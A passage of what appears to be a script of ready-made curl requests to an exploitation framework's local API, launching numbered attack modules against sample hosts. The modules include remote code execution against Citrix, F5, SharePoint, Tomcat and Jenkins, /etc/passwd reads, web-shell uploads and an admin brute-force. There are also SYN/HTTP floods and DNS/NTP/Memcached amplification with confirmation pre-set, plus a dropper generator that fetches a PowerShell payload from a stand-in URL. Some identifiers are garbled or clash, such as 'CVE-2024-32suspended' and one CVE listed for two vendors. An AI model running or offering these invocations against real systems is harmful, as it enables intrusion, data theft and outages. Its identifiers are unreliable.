-d '{
"module": "exploits/network_infra/vmware/esxi_vm_escape_check",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 120. ESXi vSock Client ──────────────────────────────────────
# Prompts: port, mode (1=download, 2=upload, 3=exec), remote_path, local_path, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/vmware/esxi_vsock_client",
"target": "192.168.1.1",
"prompts": { "port": "21", "mode": "3", "command": "id" }
}' | python3 -m json.tool
# ─── 121. CitrixBleed2 CVE-2025-5777 ─────────────────────────────
# Prompts: port, iterations
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/citrix/cve_2025_5777_citrixbleed2",
"target": "192.168.1.1",
"prompts": { "port": "443", "iterations": "3" }
}' | python3 -m json.tool
# ─── 122. F5 BIG-IP RCE CVE-2025-53521 ──────────────────────────
# Prompts: target, port, command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "command": "id", "save_results": "n" }
}' | python3 -m json.tool
# ─── 123. HPE OneView RCE CVE-2025-37164 ─────────────────────────
# Prompts: port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "command": "id" }
}' | python3 -m json.tool
# ─── 124. SonicWall SMA RCE CVE-2025-40602 ──────────────────────
# Prompts: target, port, command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "command": "id", "save_results": "n" }
}' | python3 -m json.tool
# ─── 125. QNAP QTS RCE CVE-2024-27130 ───────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130",
"target": "192.168.1.1",
"prompts": { "port": "8080" }
}' | python3 -m json.tool
# ─── 126. Trend Micro CVE-2025-5777 ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/trend_micro/cve_2025_5777",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 127. Trend Micro CVE-2025-69258 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=exploit), dll_path (for exploit)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/trend_micro/cve_2025_69258",
"target": "192.168.1.1",
"prompts": { "port": "443", "mode": "1" }
}' | python3 -m json.tool
# ─── 128. Trend Micro CVE-2025-69259 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=crash)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/trend_micro/cve_2025_69259",
"target": "192.168.1.1",
"prompts": { "port": "443", "mode": "2" }
}' | python3 -m json.tool
# ─── 129. Trend Micro CVE-2025-69260 ─────────────────────────────
# Prompts: target, port, mode (1=check, 2=crash)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/trend_micro/cve_2025_69260",
"target": "192.168.1.1",
"prompts": { "port": "443", "mode": "2" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# FRAMEWORK EXPLOIT MODULES (130-141)
# ═══════════════════════════════════════════════════════════════
# ─── 130. Apache Tomcat CVE-2025-24813 RCE ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce",
"target": "192.168.1.1",
"prompts": { "port": "8080" }
}' | python3 -m json.tool
# ─── 131. Apache Tomcat CatKiller CVE-2025-31650 ─────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650",
"target": "192.168.1.1",
"prompts": { "port": "8443" }
}' | python3 -m json.tool
# ─── 132. Apache Tomcat PUT RCE CVE-2025-24813 ───────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce",
"target": "192.168.1.1",
"prompts": { "port": "8080", "scheme": "http", "command": "id" }
}' | python3 -m json.tool
# ─── 133. Exim ETRN SQLi CVE-2025-26794 ─────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794",
"target": "192.168.1.1",
"prompts": { "port": "25" }
}' | python3 -m json.tool
# ─── 134. HTTP/2 Rapid Reset CVE-2023-44487 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 135. Jenkins 2.441 LFI ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/jenkins/jenkins_2_441_lfi",
"target": "192.168.1.1",
"prompts": { "port": "8080" }
}' | python3 -m json.tool
# ─── 136. Jenkins Args4j RCE CVE-2024-24549 ──────────────────────
# Prompts: target (required, e.g. http://jenkins:8080), filepath
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549",
"target": "http://192.168.1.1:8080",
"prompts": { "filepath": "/etc/passwd" }
}' | python3 -m json.tool
# ─── 137. Jenkins CLI RCE CVE-2024-23897 ─────────────────────────
# Prompts: target (required, e.g. http://jenkins:8080), filepath
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897",
"target": "http://192.168.1.1:8080",
"prompts": { "filepath": "/etc/passwd" }
}' | python3 -m json.tool
# ─── 138. MongoBleed ─────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/mongo/mongobleed",
"target": "192.168.1.1",
"prompts": { "port": "27017" }
}' | python3 -m json.tool
# ─── 139. Nginx PWNer ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/nginx/nginx_pwner",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 140. PHP CGI CVE-2024-4577 ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/php/cve_2024_4577",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 141. WSUS RCE CVE-2025-59287 ────────────────────────────────
# Prompts: port (8530=HTTP, 8531=HTTPS), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/wsus/cve_2025_59287_wsus_rce",
"target": "192.168.1.1",
"prompts": { "port": "8530" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# WEB APPLICATION EXPLOIT MODULES (142-166)
# ═══════════════════════════════════════════════════════════════
# ─── 142. SharePoint CVE-2024-38094 ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/sharepoint/cve_2024_38094",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 143. SharePoint ToolPane RCE CVE-2025-53770 ────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "scheme": "https", "command": "whoami" }
}' | python3 -m json.tool
# ─── 144. Roundcube PostAuth RCE ─────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/roundcube/roundcube_postauth_rce",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 145. WordPress VitePOS CVE-2025-13156 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 146. WordPress Bricks RCE CVE-2024-25600 ───────────────────
# Prompts: target (required, full WordPress URL), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600",
"target": "http://wp.example.com",
"prompts": { "command": "system('"'"'id'"'"')" }
}' | python3 -m json.tool
# ─── 147. WordPress LiteSpeed RCE CVE-2024-28000 ────────────────
# Prompts: target (required, full WP URL), max_attempts, admin_user, admin_pass
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000",
"target": "http://wp.example.com",
"prompts": {
"max_attempts": "1000000",
"admin_user": "rsploit_admin",
"admin_pass": "Rspl0it!2024#"
}
}' | python3 -m json.tool
# ─── 148. WordPress Royal Elementor RCE CVE-2024-32suspended ─────
# Prompts: target (required, full WP URL), shell_filename, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended",
"target": "http://wp.example.com",
"prompts": { "shell_filename": "wpr_shell.php", "command": "id" }
}' | python3 -m json.tool
# ─── 149. Flowise RCE CVE-2025-59528 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/flowise/cve_2025_59528_flowise_rce",
"target": "192.168.1.1",
"prompts": { "port": "3000" }
}' | python3 -m json.tool
# ─── 150. Flowise CVE-2024-31621 ─────────────────────────────────
# Mass scan/single target. No prompts beyond target.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/flowise/cve_2024_31621",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 151. Zabbix 7.0.0 SQL Injection ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 152. n8n RCE CVE-2025-68613 ────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/n8n/n8n_rce_cve_2025_68613",
"target": "192.168.1.1",
"prompts": { "port": "5678" }
}' | python3 -m json.tool
# ─── 153. React2Shell ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/react/react2shell",
"target": "192.168.1.1",
"prompts": { "port": "3000" }
}' | python3 -m json.tool
# ─── 154. CraftCMS Key RCE CVE-2025-23209 ───────────────────────
# Prompts: port, scheme, security_key, admin_user, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/craftcms_key_rce_cve_2025_23209",
"target": "192.168.1.1",
"prompts": {
"port": "443",
"scheme": "https",
"security_key": "",
"admin_user": "admin",
"command": "id"
}
}' | python3 -m json.tool
# ─── 155. CraftCMS RCE CVE-2025-47726 ───────────────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/craftcms_rce_cve_2025_47726",
"target": "192.168.1.1",
"prompts": { "port": "443", "scheme": "https", "command": "id" }
}' | python3 -m json.tool
# ─── 156. Dify Default Creds CVE-2025-56157 ──────────────────────
# Checks for default PostgreSQL creds used by Dify AI.
# Prompts: port, username, password, database
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/dify/cve_2025_56157_dify_default_creds",
"target": "192.168.1.1",
"prompts": { "port": "5432", "username": "postgres", "password": "difyai123456", "database": "dify" }
}' | python3 -m json.tool
# ─── 157. Langflow RCE CVE-2025-3248 ─────────────────────────────
# Prompts: port, scheme (http/https), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/langflow_rce_cve_2025_3248",
"target": "192.168.1.1",
"prompts": { "port": "7860", "scheme": "http", "command": "id" }
}' | python3 -m json.tool
# ─── 158. Laravel Livewire RCE CVE-2025-47949 ───────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/laravel_livewire_rce_cve_2025_47949",
"target": "192.168.1.1",
"prompts": { "port": "443", "scheme": "https", "command": "id" }
}' | python3 -m json.tool
# ─── 159. MCPJam RCE CVE-2026-23744 ──────────────────────────────
# Prompts: port (3000), malicious_url, server_name
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce",
"target": "192.168.1.1",
"prompts": { "port": "3000" }
}' | python3 -m json.tool
# ─── 160. SAP NetWeaver RCE CVE-2025-31324 ───────────────────────
# Prompts: port (443=HTTPS, 50000=HTTP), scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/sap_netweaver_rce_cve_2025_31324",
"target": "192.168.1.1",
"prompts": { "port": "443", "scheme": "https", "command": "whoami" }
}' | python3 -m json.tool
# ─── 161. SolarWinds WHD RCE CVE-2025-40551 ──────────────────────
# Prompts: target, port (8443), command, save_results
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce",
"target": "192.168.1.1",
"prompts": { "port": "8443", "command": "id", "save_results": "n" }
}' | python3 -m json.tool
# ─── 162. Spotube Exploit ─────────────────────────────────────────
# Prompts: malicious_name, track_id, codec, port, mode
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/spotube/spotube",
"target": "192.168.1.1",
"prompts": { "port": "17086", "mode": "1" }
}' | python3 -m json.tool
# ─── 163. Termix XSS CVE-2026-22804 ──────────────────────────────
# Prompts: auth_port, file_port, username, password, ssh_host, ssh_port, ssh_user, upload_path
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/termix/termix_xss_cve_2026_22804",
"target": "192.168.1.1",
"prompts": {
"auth_port": "3000",
"file_port": "3001",
"username": "admin",
"password": "",
"ssh_host": "127.0.0.1",
"ssh_port": "22",
"ssh_user": "kali",
"upload_path": "/home/kali"
}
}' | python3 -m json.tool
# ─── 164. XWiki RCE CVE-2025-24893 ───────────────────────────────
# Prompts: port, scheme, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/xwiki/cve_2025_24893_xwiki_rce",
"target": "192.168.1.1",
"prompts": { "port": "8080", "scheme": "http", "command": "id" }
}' | python3 -m json.tool
# ─── 165. ZTE ZXV10 H201L RCE / Auth Bypass ─────────────────────
# Prompts: port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 166. Zyxel CPE Command Injection CVE-2024-40890 ─────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# DoS MODULES (167-179)
# WARNING: These modules perform denial-of-service attacks.
# Only use against authorized targets in controlled environments.
# Most require confirm="y" to proceed.
# ═══════════════════════════════════════════════════════════════
# ─── 167. Null SYN Exhaustion ────────────────────────────────────
# Prompts: target, port, source_port, spoof_ip, workers, duration, zero_interval,
# payload_size, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/null_syn_exhaustion",
"target": "192.168.1.1",
"prompts": {
"port": "80",
"spoof_ip": "n",
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 168. TCP Connection Flood ───────────────────────────────────
# Prompts: target, ports, concurrency, timeout_ms, verbose, use_rst, send_payload, duration, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/tcp_connection_flood",
"target": "192.168.1.1",
"prompts": {
"ports": "80,443",
"concurrency": "2000",
"timeout_ms": "1000",
"verbose": "n",
"duration": "60",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 169. Connection Exhaustion Flood ────────────────────────────
# Prompts: target, port, max_fds, workers, duration, timeout_ms, verbose, rst_on_close, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/connection_exhaustion_flood",
"target": "192.168.1.1",
"prompts": {
"port": "80",
"workers": "2000",
"duration": "60",
"timeout_ms": "2000",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 170. HTTP Flood ─────────────────────────────────────────────
# Prompts: target, port, path, method, concurrency, use_ssl, keepalive,
# random_params, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/http_flood",
"target": "192.168.1.1",
"prompts": {
"port": "80",
"path": "/",
"method": "GET",
"concurrency": "1000",
"use_ssl": "n",
"keepalive": "y",
"random_params": "y",
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 171. Slowloris ──────────────────────────────────────────────
# Prompts: target, port, connections, keepalive_interval, use_ssl, duration, verbose, confirm
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/slowloris",
"target": "192.168.1.1",
"prompts": {
"port": "80",
"connections": "500",
"keepalive_interval": "15",
"use_ssl": "n",
"duration": "300",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 172. RUDY (R-U-Dead-Yet) ────────────────────────────────────
# Prompts: target, port, path, connections, content_length, interval, use_ssl, duration, verbose, confirm
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/rudy",
"target": "192.168.1.1",
"prompts": {
"port": "80",
"path": "/",
"connections": "200",
"use_ssl": "n",
"duration": "600",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 173. UDP Flood ──────────────────────────────────────────────
# Prompts: target, port, size, mode, spoof_ip, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/udp_flood",
"target": "192.168.1.1",
"prompts": {
"port": "53",
"spoof_ip": "n",
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 174. ICMP Flood ─────────────────────────────────────────────
# Prompts: target, size, spoof_ip, ttl, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/icmp_flood",
"target": "192.168.1.1",
"prompts": {
"spoof_ip": "n",
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 175. SYN-ACK Flood ──────────────────────────────────────────
# Prompts: target, reflectors, reflector_port, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/syn_ack_flood",
"target": "192.168.1.1",
"prompts": {
"reflector_port": "80",
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 176. DNS Amplification ──────────────────────────────────────
# Prompts: target (victim IP), resolvers, query_domain, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/dns_amplification",
"target": "192.168.1.1",
"prompts": {
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 177. NTP Amplification ──────────────────────────────────────
# Prompts: target (victim IP), servers, workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/ntp_amplification",
"target": "192.168.1.1",
"prompts": {
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 178. SSDP Amplification ─────────────────────────────────────
# Prompts: target (victim IP), targets (reflectors), workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/ssdp_amplification",
"target": "192.168.1.1",
"prompts": {
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 179. Memcached Amplification ────────────────────────────────
# Prompts: target (victim IP), servers (reflectors), workers, duration, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/memcached_amplification",
"target": "192.168.1.1",
"prompts": {
"duration": "60",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# PAYLOAD GENERATOR MODULES (180-181)
# Old narutto_dropper / batgen / lnkgen / payload_encoder /
# polymorph_dropper modules were merged into the unified
# payloadgen + obfuscator modules below.
# ═══════════════════════════════════════════════════════════════
# ─── 180. PayloadGen (unified dropper / encoder generator) ────────
# Replaces narutto_dropper, batgen, lnkgen, payload_encoder,
# polymorph_dropper. Interactive multi-mode generator — pick which
# generator via "menu_choice" / "mode_raw" prompts.
# menu_choice: 1=BatGen, 2=LNK Gen, 3=Polymorph dropper,
# 4=Payload encoder, 5=Narutto dropper
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/payloadgens/payloadgen",
"target": "10.0.0.5",
"prompts": {
"show_warning": "n",
"menu_choice": "1",
"output_file": "dropper.bat",
"payload_url": "https://example.com/payload.ps1",
"ps1_filename": "payload.ps1"
}
}' | python3 -m json.tool
# ─── 181. Obfuscator (multi-round payload obfuscation) ────────────
# Replaces the old payload_encoder. Chains/randomizes multiple
# obfuscation methods over text / hex / base64 / file input.
# Prompts: input_kind (text|hex|base64|file), input, mode
# (chain|random|same), rounds, format, save (y/n), filename.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/payloadgens/obfuscator",
"target": "127.0.0.1",
"prompts": {
"input_kind": "text",
"input": "whoami",
"mode": "random",
"rounds": "3",
"format": "base64",
"save": "y",
"filename": "obfuscated.txt"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# OTHER EXPLOIT MODULES (185-194)
# (entry numbers 182-184 were freed by the payload-generator merge above)
# ═══════════════════════════════════════════════════════════════
# ─── 185. Bluetooth WPair ────────────────────────────────────────
# Bluetooth scanning and pairing attacks.
# Prompts: action (scan/pair/test)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/bluetooth/wpair",
"target": "192.168.1.1",
"prompts": { "action": "scan" }
}' | python3 -m json.tool
# ─── 186. Geth DoS CVE-2026-22862 ────────────────────────────────
# Go Ethereum P2P DoS. mode 1-4.
# Prompts: p2p_port, rpc_port, mode, exclude_ranges, output_file, concurrency
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/crypto/geth_dos_cve_2026_22862",
"target": "192.168.1.1",
"prompts": {
"p2p_port": "30303",
"rpc_port": "8545",
"mode": "1",
"exclude_ranges": "y",
"output_file": "geth_vulnerable_nodes.txt"
}
}' | python3 -m json.tool
# ─── 187. Heartbleed ─────────────────────────────────────────────
# OpenSSL Heartbleed (CVE-2014-0160) memory leak.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/crypto/heartbleed",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 188. FTP Bounce Test ────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ftp/ftp_bounce_test",
"target": "192.168.1.1",
"prompts": { "port": "21" }
}' | python3 -m json.tool
# ─── 189. Pachev FTP Path Traversal ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
